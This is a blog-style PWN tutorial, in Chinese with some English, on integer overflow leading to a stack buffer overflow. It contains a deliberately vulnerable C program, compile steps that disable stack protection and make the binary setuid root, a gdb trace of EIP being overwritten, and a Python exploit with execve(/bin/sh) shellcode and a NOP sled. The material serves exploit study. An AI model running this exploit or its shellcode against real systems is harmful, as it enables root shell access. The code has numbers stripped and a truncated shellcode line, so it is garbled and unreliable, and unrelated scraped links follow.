PWN INTEGER OVERFLOW 整数溢出
0x00 Preview
Last few passage I didn't conclude some important points and a general direction of the learning route of PWN. I browser some passages and finally I found one maybe suitable and reasonable for most PWN lovers:

0x01 Integer Overflow —— What's ?
Storing a value greater than maximun supported value is called integer overflow. 但是呢,这个也仅仅是overflow,不能造成代码执行(英文真的写不下去了。。。随心写了。。)。
首先我们来看一下C语言的 一些类型的对应的字节大小(摘自CTF WIKI)
| short int | 2byte(word) | 0~32767(0~0x7fff) -32768~-1(0x8000~0xffff) |
| unsigned short int | 2byte(word) | 0~65535(0~0xffff) |
| int | 4byte(dword) | 0~2147483647(0~0x7fffffff) -2147483648~-1(0x80000000~0xffffffff) |
| unsigned int | 4byte(dword) | 0~4294967295(0~0xffffffff) |
| long int | 8byte(qword) | 正: 0~0x7fffffffffffffff 负: 0x8000000000000000~0xffffffffffffffff |
| unsigned long int | 8byte(qword) | 0~0xffffffffffffffff |
之后我将CTF wiki上的总结了一下如下:

注意:大的范围转给小的范围的数,会造成截断,这是内存分布结构所导致的,下面示例中会讲到
0x02 How?
这里我先拿某位大神的示例,并说出我的观点
示例代码:
#include <stdio.h>
#include <string.h>
#include <stdlib.h> void store_passwd_indb(char* passwd) {
} void validate_uname(char* uname) {
} void validate_passwd(char* passwd) {
char passwd_buf[];
unsigned char passwd_len = strlen(passwd); /* [1] */
if(passwd_len >= && passwd_len <= ) { /* [2] */
printf("Valid Password\n"); /* [3] */
fflush(stdout);
strcpy(passwd_buf,passwd); /* [4] */
} else {
printf("Invalid Password\n"); /* [5] */
fflush(stdout);
}
store_passwd_indb(passwd_buf); /* [6] */
} int main(int argc, char* argv[]) {
if(argc!=) {
printf("Usage Error: \n");
fflush(stdout);
exit(-);
}
validate_uname(argv[]);
validate_passwd(argv[]);
return ;
}
去除保护措施编译:
$gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln
我们先来分析一下代码:
前两个函数没什么问题,第三个函数开始:
传入一个字符串(大小任意)——>定义11大小数组,每个单位为uchar字节(共11*1byte)
——> 获取密码长度,但是uchar(256)
——> 通过检测则复制密码到数组
——> 不通过则gg
——> 主函数没什么问题
思考:
第一个漏洞点:uchar 的len,因为长度为256,当大于256就会截断,如输入261(0001 0000 0101),截断后(后uchar字节的数):5(0101),所以len会变为5
第二个漏洞点:基本的栈溢出,就是复制密码到数组
结合两个漏洞点,因为shellcode一般是40多字节(排除任意长度大神),能存储的地方是buf,passwd,buf长度限制,用来溢出,passwd我们用来存储shellcode
步骤:
1、整数溢出过检测
2、栈溢出执行代码
0X03 Do the Exp
反编译程序第三个函数:

这是我64位的结果,提供借鉴,但是作者的环境是x86,显示的可能不一样,我这里引入某大佬的调试过程:
Reading symbols from vuln...done.
(gdb) b validate_passwd
Breakpoint at 0x804850d: file vuln.c, line .
(gdb) r sploitfun `python -c 'print "A"*261'`
Starting program: /home/jourluohua/work/test2/vuln sploitfun `python -c 'print "A"*261'` Breakpoint , validate_passwd (
passwd=0xbffff6b6 'A' <repeats times>...) at vuln.c:
unsigned char passwd_len = strlen(passwd); /* [1] */
(gdb) n //单步调试,想看看执行到了我们认为的关键的代码没有,很明显这儿还不是关键代码
if(passwd_len >= && passwd_len <= ) { /* [2] */
(gdb) n
printf("Valid Password\n"); /* [3] */
(gdb) p passwd_len //这儿是关键处了,但是如果是正确的话,passwd_len 应该是'A',很可能是程序还没真正执行到
$ = '\005'
(gdb) n
Valid Password
fflush(stdout);
(gdb) n
strcpy(passwd_buf,passwd); /* [4] */
(gdb) n
store_passwd_indb(passwd_buf); /* [6] */
(gdb) p passwd_len //好终于到了我们想要的地方了
$ = 'A'
(gdb) p &passwd_len //passwd_len的地址,既然利用的是栈,我们在乎的是内存布局
$ = (unsigned char *) 0xbffff46f 'A' <repeats times>...
(gdb) p buf //手误,没有任何原因
$ = 0x0
(gdb) n
}
(gdb) p passwd_buf //passwd_buf的值也对了
$ = 'A' <repeats times>
(gdb) p &passwd_buf[] //passwd_buf的地址也和我们想象的一样
$ = 0xbffff464 'A' <repeats times>...
(gdb) p/x $eip //很明显还没有被覆盖
$ = 0x8048578
(gdb) p/x $ebp //这个真的不是在凑字数,ebp的地址很重要
$ = 0xbffff478
(gdb) n
0x41414141 in ?? ()
(gdb) p/x $eip //好,已经覆盖了
$ = 0x41414141
(gdb) p/x $ebp
$ = 0x41414141
(gdb)
嗯,差不多能ret我们输入的shellcode,没错我比较愚笨所以输入了10次26字母加一个字母
堆栈结构什么的我就直接复制粘贴了:
说明一下我个人的观点:
1、 alignment space,对齐空间,即字节对齐,具体看https://www.cnblogs.com/clover-toeic/p/3853132.html
这里注意的是,char先定义,所以按char来算,就是在buf[8-11]和len之间填4个字节
2、RET 后面跟EBP之前说过,不多说了
shellcode:
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call arg1 = "sploitfun" #Stack address where shellcode is copied.
ret_addr = 0xbffff4e0 #Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\$ #endianess convertion
def conv(num):
return struct.pack("<I",num) #chunk + ReturnAdress + NOP's + Shellcode
arg2 = "A" * 24
arg2 += conv(ret_addr);
arg2 += "\x90" * 100
arg2 += scode
arg2 += "C" * 108 print "Calling vulnerable program"
call(["./vuln", arg1, arg2])
PWN INTEGER OVERFLOW 整数溢出的更多相关文章
- signed integer overflow整数溢出
整数越界情况 1. 数组下标越界, 大于N或者小于0 2. 数字过大,可以选择取个模,或者换long long, double 我笑了 还有一个暂时没有好的解决方法的:string s:cin/输入 ...
- PWN学习之整数溢出
目录 PWN学习之整数溢出 整数溢出 溢出和回绕 漏洞多发函数 整数溢出例子 PWN学习之整数溢出 整数溢出 如果一个整数用来计算一些敏感数值,如缓冲区大小或数值索引,就会产生潜在的危险.通常情况下, ...
- lintcode :reverse integer 颠倒整数
题目: 颠倒整数 将一个整数中的数字进行颠倒,当颠倒后的整数溢出时,返回 0 (标记为 32 位整数). 样例 给定 x = 123,返回 321 给定 x = -123,返回 -321 解题: 直接 ...
- 程序员---C语言细节7(增加两个整数溢出检测)
主要内容:增加两个整数溢出检测 #include <stdio.h> #include <limits.h> int main(int argc, char *argv[]) ...
- java整数溢出问题及提升为long型
整数溢出问题 Java 中的 int 用 32 位表示,正数最大值的情况,首位是 0,其他位都可以是 1(就是 2^31-1).但是如果正数过大了,例如 2^31,计算机不得不把首位变成 1,并且计算 ...
- 关于整数溢出和NaN的问题
当Integer i = Integer.MAX_VALUE;i + 1 < i成立, Double.NaN与任何数(包括自己)比较都为false,与js的NaN一样 如下: //整数溢出 In ...
- 《LeetBook》leetcode题解(7): Reverse Integer[E]——处理溢出的技巧
我现在在做一个叫<leetbook>的开源书项目,把解题思路都同步更新到github上了,需要的同学可以去看看 书的地址:https://hk029.gitbooks.io/leetboo ...
- 7. Reverse Integer 反转整数
[抄题]: 将一个整数中的数字进行颠倒,当颠倒后的整数溢出时,返回 0 (标记为 32 位整数). 样例 给定 x = 123,返回 321 给定 x = -123,返回 -321 [暴力解法]: ...
- Java判断整数溢出
开题报告第一版写完发给老师了,熬了两周终于搞出来了,等着被怼了之后再改吧.晚上选了Leetcode一道简单的题,整数反转,就是将一个int类型的数反转.原本确实很简单,最后出现个问题有意思--整数溢出 ...
随机推荐
- 扛把子组20191031-2 Beta阶段贡献分配规则
此作业的要求参见https://edu.cnblogs.com/campus/nenu/2019fall/homework/9910 队名:扛把子 组长:孙晓宇 组员:宋晓丽 梁梦瑶 韩昊 刘信鹏 B ...
- C#音频截取与原文匹配2:使用ffmpeg处理音频文件
ffmpeg获取音频时间 ffmpeg转换音频格式(单声道,16000hz,16bit wav) ffmpeg截取音频 不知道是不是错觉,感觉ffmpeg比NAudio要快啊~ 那么这就是第二个版本 ...
- (一)OpenStack---M版---双节点搭建---基础环境配置
↓↓↓↓↓↓↓↓视频已上线B站↓↓↓↓↓↓↓↓ >>>>>>传送门 配置如下 本次搭建采用2台4核4G的虚拟机,也可以用2台2核4G 主机名 配置 网络 Contr ...
- 新闻实时分析系统Hive与HBase集成进行数据分析 Cloudera HUE大数据可视化分析
1.Hue 概述及版本下载 1)概述 Hue是一个开源的Apache Hadoop UI系统,最早是由Cloudera Desktop演化而来,由Cloudera贡献给开源社区,它是基于Python ...
- 【Luogu P2024&P1892】食物链&团伙(并查集拓展域)
Luogu P1892 Luogu P2024 这两道一眼看过去很容易发现可以用并查集来做--但是当我们仔细阅读题面后,会发现其实并没有那么简单. 我们知道并查集可以很轻松地维护具有传递性的信息,也就 ...
- 题解 P1226 【【模板】快速幂||取余运算】
1.题目分析 原题 本题在于快速幂的使用,以及对long long的应用问题. 2.解题思路 快速幂 求幂常见用法: int pow(int a,int b) { int ans; for(int i ...
- html元素是否包含另外一个元素,以及classList属性
如何判断一个元素A包含了元素B呢?如果不用contains方法的话,如何做呢? 腾讯面试的时候也出了这道题啊,当时没看dom的知识,所以一抹黑哦... 那就判断B是否为A的child喽,那也就是A是B ...
- 通过哪吒动漫豆瓣影评,带你分析python爬虫与BeautifulSoup快速入门【华为云技术分享】
久旱逢甘霖 西安连着几天温度排行全国三甲,也许是<哪吒之魔童降世>的剧组买通了老天,从踩着风火轮的小朋友首映开始,就全国性的持续高温,还好今天凌晨的一场暴雨,算是将大家从中暑边缘拯救回来了 ...
- 本科阶段就挑战自动驾驶开发?华为云ModelArts帮你轻松实现!
欢迎添加华为云小助手微信(微信号:HWCloud002 或 HWCloud003),输入关键字"加群",加入华为云线上技术讨论群:输入关键字"最新活动",获取华 ...
- JQuery基础之获取和设置标签内容
JQuery基础之获取和设置标签内容方法,如下图: 代码实现: <script src="JS/jquery-1.12.4.min.js"></script> ...